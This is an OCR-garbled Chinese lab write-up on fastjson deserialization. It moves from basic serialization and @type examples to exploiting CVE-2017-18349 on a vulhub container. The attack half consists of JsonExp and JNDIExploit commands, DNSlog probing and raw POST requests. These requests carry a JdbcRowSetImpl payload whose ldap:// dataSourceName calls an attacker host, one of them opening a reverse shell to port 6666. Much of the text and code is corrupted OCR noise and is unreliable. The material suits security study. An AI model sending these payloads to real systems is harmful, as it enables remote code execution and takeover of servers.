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"JSON.toJSONString"&JavaiZ = fcom.alibaba.fastjson.)SONSSHRMHR— N GiE BT i) avaxd seiEit
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User user = new User("John", "Doe", 30);
String jsonString = JSON.toJSONString(user);
System.out.println(jsonstring);

RigUsersc BBLA T RIEFISIERES:

public class User {
private String firstName;
private String lastName;
private int age;

public User(string firstName, String lastName, int age) {
this.firstName = firstName;

this.TastName = lastName;
this.age = age;

// B getter F setter Jjik

BHERERE TR user WRAYSONFRF&:

{"age":30,"firstName":"John","lastName":"Doe"}
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Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student,
SerializerFeature.WriteClassName);

/ /IR oS8 S AE@type
String jsonString2 = JSON.toJSONString(student);
System.out.println(jsonstring);
System.out.println(jsonstring2);

» public class Main {

v src
v com.company
& Main > public static void main(String[] args) {
¢ Student Student student = new Student();
= fastjson.iml student.setName("jack");
Il External Libraries String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
© Scratches and Consoles System.out.println(jsonString);|
}
}
n: Main
"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" ...
_ setName
= getName
] getProperties
# {"@type":"com.company.Student", "name":"jack"}
]

REFE5E

Ssystem.out.printin("&FH4L");
String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}";
//payload E7EEEEStudent . (& RLENR S, i L a17, WifT5payload
//String json_ser2 = "{\"name\":\"jack\"}";
Student stu =
JSON.parseObject(json_ser2,Sstudent.class,Feature.SupportNonPublicField);
//Feature.SupportNonPublicField FFREEHF A A A &
Student stu2 = (Student)
JSON.parseObject(json_ser2,0bject.class,Feature.SupportNonPublicField);
System.out.println(stu.getClass());
System.out.println(stu2.getClass().getName());
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FFFIL String json_ser2 = "{"name":"jack"}"; &IRiE
F5IL String json_ser = "{"@type":"com.company.Student","name":"jack"}"; A&HzEE
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setDataSourcesName MINEERE (rmifE) 1LBRRSERFIMLRIBHER BRrmifRSSEs 7
f7rmifRSSEE TRV MM SETE s SHITIRIE
2. BREEA HERIRS bW
BIjndifEiRSZiREIE— M ERRERIZE, BRRSFIEIrmifves S Z 5 A INEIX AN nditE A AT
3. fastjson rcefy/F1E
jdk #AY jdbcRowSetimpl 255fY setAutoCommit J5;574AY lookup75iE&HY
getDataSourcesName SN T

FASM (CVE-2017-18349)
REE: kali linux

#87: vulhub/fastjson


af://n28
af://n40

~/% & /vulhub/fastjson/1.2.24-rce
/root/s M /vulhub/fastjson/1.2.24-rce
~/% @ /vulhub/fastjson/1.2.24-rce

docker-compose.yml README.md

~/% @ /vulhub/fastjson/1.2.24-rce
up
Creating network "1224-rce_default” with the default driver

Creating 1224-rce_web_1 ...

~/5L T /vulhub/fastjson/1.2.24-rce
ps
CONTAINER ID  IMAGE COMMAND CREATED STATUS PORTS

NAMES
4210d709f097  vulhub/fastjson:1.2.24 "java -Dserver.addre.." 3 seconds ago Up 2 seconds ©0.0.0.0:8090—8090/tcp,

090—8090/tcp 1224-rce_web_1

~/% T /vulhub/fastjson/1.2.24-rce

1REE

@ http://192.168.100.134.... X | =

€ 9 (O 192.168.100.134:8090 = e &
A ZEima ¥ 1, sqimapBEAEE.. A MSSQUEA
INT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTIO!

Load URL [ http://192.168.100.134:3090/
split URL

S=

» Execute

[] postdata [] Referrer 4™ OxHEX 3» % %URL ¥ &% BASE64 I nse

age: 29,
name: Bob

o

DNSlog#&:l:

A dnslogEs, AT ARIERIEIRIR S =S HXIMAIpayload

JsoneExp.exe -u http://192.168.100.134:8090/ -1 vi7sp8.dnslog.cn //DNSTogiiht

fwS Mt

MiftA9payload:



#DNSlogttEERIR

Get SubDomain | | Refresh Record

vi7sp8.dnslog.cn

DNS Query Record IP Address
1.vi7sp8.dnslog.cn 1 . )6
1.vi7sp8.dnslog.cn (IR 7 T
1.vi7sp8.dnslog.cn 1
1.vi7sp8.dnslog.cn 3 i
1.vi7sp8.dnslog.cn i i
1.vi7sp8.dnslog.cn 14
1.vi7sp8.dnslog.cn *17.131
TENNERKREXHRE:
/S B LDAP/RMIitiit
1 http://192.168.100.134:8090/ vi7sp8.dnslog.cn

Created Time
2023-09-18 16:49:48
2023-09-18 16:49:48
2023-09-18 16:49:48
2023-09-18 16:49:48
2023-09-18 16:49:45
2023-09-18 16:49:45
2023-09-18 16:49:45

¥ kfadiE

2023-09-18 16:49:42

[Z071 http://192.168.100.134:8090/ [£%!]
vi7sp8.dnslog.cn
LDAP/RMIitii
[=#1]
POST
TEkeEE
[(=51]
. {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","datasourcenName": "1ldap://1.vi7sp8.dnslog.cn/payload1l”, "autoCommit" :true}}
R ‘
[E41]
POST / HTTP/1.1
Host: 192.168.100.134:8090
User-Agent: Mozilla/5.0 (X11; Uj; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.@
ERE Content-Type: application/json

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl”,"dataSourceName™: "1ldap://1.vi7sp8.dnslog.cn/payloadl”, "autoCommit™: true}}

(=511

LDAP#&, FFELDAPFIHTTPARSS :

java -jar INDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1



Fraistrin O, AT IS EE Xin D, R LAERERARC.

15 DNSlogithit kL DAPIRSS AOMEAEFORS Rz AR

JsoneExp.exe -u http://192.168.100.134:8090/ -1 192.168.100.1:1389

IERSL DAPBRSS 2 A N ZIIE (SR A RIBI R E R R EMM A RiRIIpayload

EERNEMAIRS:

3

[Z0il http://192.168.100.134:8090

192.168.160.1:1389

LDAP/RMIithiit
L)}
e POST
j=Resis
(=4
o {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl”,"dataSourceName": "1dap://192.168.100.1:1389/payloadl”, "autoCommit":true}}
BRE { { @typ p , 3
[=5) o
POST / HTTP/1.1 /
Host: 192.168.100.134:8090
User-Agent: Opera/9.25 (Windows NT 5.0; U; en)
ERE1 Content-Type: application/json
/ {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl”,"dataSourceName"”: "1ldap://192.168.100.1:1389/payload1", "autoCommit":true}}
[€=20)
HTTP/1.1 500
Content-Type: application/json
Content-Length: 137
- Date: Mon, 18 Sep 2023 09:02:57 GMT
IR fame laca
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S0 _Raw  Hex N = %k Raw Hex mEER n
1 GET / HITP/1.1 1 HTTP/1.1 200
2 Host: 192.168. 100. 134:8090 2 Content-Type: application/json;charset=UTF-8
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) 3 Content—-Length: 28
Gecko/20100101 Firefox/52.0 4 Date: Mon, 18 Sep 2023 09:08:18 GMT
4 Accept : 5 Connection: close
text/html, application/xhtml+xml, application/xml;q=0. 9, */%*; 6
q=0.8 7
5 Accept-Language: zh—CN, zh;q=0. 8, en-US;q=0.5, en;q=0.3 8 "age”:25
6 Accept—Encoding: gzip, deflate 9 "name”:”Bob”

7DNT: 1
8 Connection: close

0}

9 Upgrade-Insecure—Requests: 1
10
11

SHtEER

Bk
E{ Raw Hex =1 \n

POST / HTTP/1.1

Host: 192.168. 100. 134:8090

User—Agent: Opera/9.25 (Windows NT 5.0: U: en)
Content-Type: application/json

O e 2 D
I

n

{"b”: {"@type”:”com. sun. rowset. JdbcRowSet Impl”,
"dataSourceName” : “1dap://192. 168. 100. 1:1389/pavloadl”,

"autoCommit”: true} }

EE0 Alpayload WA
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(GNERARRTH, AT R LA RIIE B T=IA)
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={r, Raw Hex = \n =
1 POST / HTTP/1.1

2 Host: 192.168. 100. 134:8090

3 User—Agent: Opera/9.25 (Windows NT 5.0: U: en)

Content—-Type: application/json

O e

{"b”: {"@type”: " com. sun. rowset. JdbcRowSet Impl”,

FF ] S . II 'I"I'Iﬂ” N

"1dap://192. 168. 100. 1:1389/Basic/ReverseShell/192. 168. 100.
1/6666",”autoCommit”:true}H

()]

AMEFFEncizlT:
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Host
User
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Raw  Hex

/ HTTP/1.1
: 192. 168. 100. 134:8090

-Agent: Opera/9.25 (Windows NT 5.0; U; en)
Content—-Type: application/json
Content-Length:

152

|

1
I

IERSL DAPBRSS 25 AT INEIMBRRIER !

“@type”: "com. sun. rowset. JdbcRowSetImpl”,
"dataSourceName” :

“ldap://192. 168. 100. 1:1389/Basic/ReverseShell/192. 168.
100. 1/6666",

“autoCommit”: true

Bw =

B B
={k Raw Hex l

HTTP/1.1 500

Content-Type: application/json
Content—Length: 137

Date: Mon, 18 Sep 2023 09:13:01 GMT
Connection: close

Gl W DD

{
"timestamp”: 1695028381667
9  “status”:500,
10 "error”:”Internal Server Error”,
11 "message”:”set property error, autoCommit”,
12 “path”:" /"

® - o

RiFREE BITRERREshell 5L :
=EE#shellpIh
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JsonExp

JNDIEXp


https://github.com/smallfox233/JsonExp
https://github.com/WhiteHSBG/JNDIExploit
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